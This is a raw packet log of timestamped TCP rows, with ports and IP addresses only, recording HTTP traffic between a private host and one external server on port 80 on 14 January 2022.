Jan 14, 2022 01:51:45.651478052 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651489973 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651513100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651523113 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651535034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651557922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651581049 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651591063 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651602983 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651613951 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651621103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651643991 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651657104 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651665926 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651688099 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651699066 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651710033 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651731968 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651746035 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651755095 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651777029 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651798010 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651822090 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651837111 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651844025 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651865959 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651887894 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651900053 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651910067 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651932955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651938915 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651957035 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651974916 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651978016 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652002096 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652017117 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.652023077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652045965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652059078 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.652066946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652089119 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652105093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.652111053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652132034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652153969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652160883 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.652177095 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.652198076 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.652232885 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.678893089 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.725708961 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725759029 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725785971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725810051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725833893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725862980 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.725883961 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725889921 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.725912094 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725949049 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725966930 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.725986004 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726011038 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726016998 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726030111 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726058960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726083040 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726087093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726114988 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726114988 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726140976 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726164103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726181030 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726188898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726212978 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726227045 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726236105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726258993 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726273060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726283073 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726304054 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726325989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726340055 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726347923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726370096 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726392031 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726407051 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726416111 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726433992 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726438046 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726455927 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726474047 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726478100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726500988 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726510048 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726524115 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726541996 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726547003 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726568937 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726589918 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726604939 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726612091 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726634026 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726649046 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726656914 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726675987 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726680040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726701021 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726723909 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726736069 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726746082 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726768017 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726783037 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726789951 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726811886 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726814032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726831913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726851940 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726865053 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726876020 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726893902 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726898909 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726921082 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726941109 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726944923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726968050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.726989985 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.726990938 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727009058 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727026939 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727050066 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727067947 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727078915 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727102041 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727118015 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727124929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727147102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727164030 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727170944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727194071 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727206945 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727216959 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727240086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727253914 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727263927 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727286100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727299929 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727308989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727329969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727351904 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727365017 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727374077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727396011 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727396965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727416992 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727438927 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727462053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727477074 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727483034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727502108 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727505922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727524042 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727540016 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727545977 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727567911 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727577925 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727591991 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727607012 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727612972 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727633953 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727655888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727669001 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727678061 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.727694988 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.727756977 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.729387045 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.755831003 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.758690119 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.762875080 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801367044 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801403999 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801426888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801449060 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801470995 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801491976 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801526070 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801561117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801569939 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801585913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801609039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801609039 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801615953 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801634073 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801635027 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801652908 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801671028 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801704884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801706076 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801716089 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801727057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801749945 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801752090 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801769018 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801791906 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801791906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801814079 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801831961 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801836014 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801867008 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801872969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801897049 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801918030 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801935911 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801939011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801960945 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801968098 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.801978111 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.801995039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802016973 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802033901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802057028 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802061081 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802074909 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802095890 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802104950 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802112103 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802113056 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802129030 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802149057 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802150011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802174091 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802189112 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802196026 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802217007 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802217960 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802234888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802256107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802259922 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802278042 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802293062 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802301884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802311897 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802324057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802344084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802364111 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802386045 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802386999 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802405119 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802426100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802427053 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802443981 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802464008 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802469015 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802481890 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802504063 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802519083 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802525043 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802546024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802565098 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802566051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802587986 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802607059 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802609921 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802630901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802640915 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802648067 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802669048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802685022 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802690029 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802711010 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802727938 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802733898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802753925 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802755117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802772045 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802792072 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802793980 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802815914 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802833080 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802835941 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802858114 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802871943 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802879095 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802900076 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802901030 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802916050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802937984 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802956104 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.802959919 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802979946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.802999973 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.803002119 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803024054 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803040028 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.803045034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803066969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803086042 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.803088903 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803105116 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803126097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803128958 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.803143024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803163052 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.803164005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.803200006 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.803227901 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.839842081 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.840933084 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.840960026 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.840982914 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.841003895 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.841026068 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.841048956 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.841065884 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.841084957 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.841110945 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.841128111 CET	80	49861	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.841137886 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.841185093 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.841192961 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.841197968 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.841202021 CET	49861	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.876714945 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.876792908 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.876857042 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.876920938 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.876965046 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.876981020 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877043962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877058983 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.877105951 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877110004 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.877172947 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877238035 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877299070 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877314091 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.877365112 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877386093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.877429962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.877492905 CET	80	49856	141.8.194.74	192.168.2.3
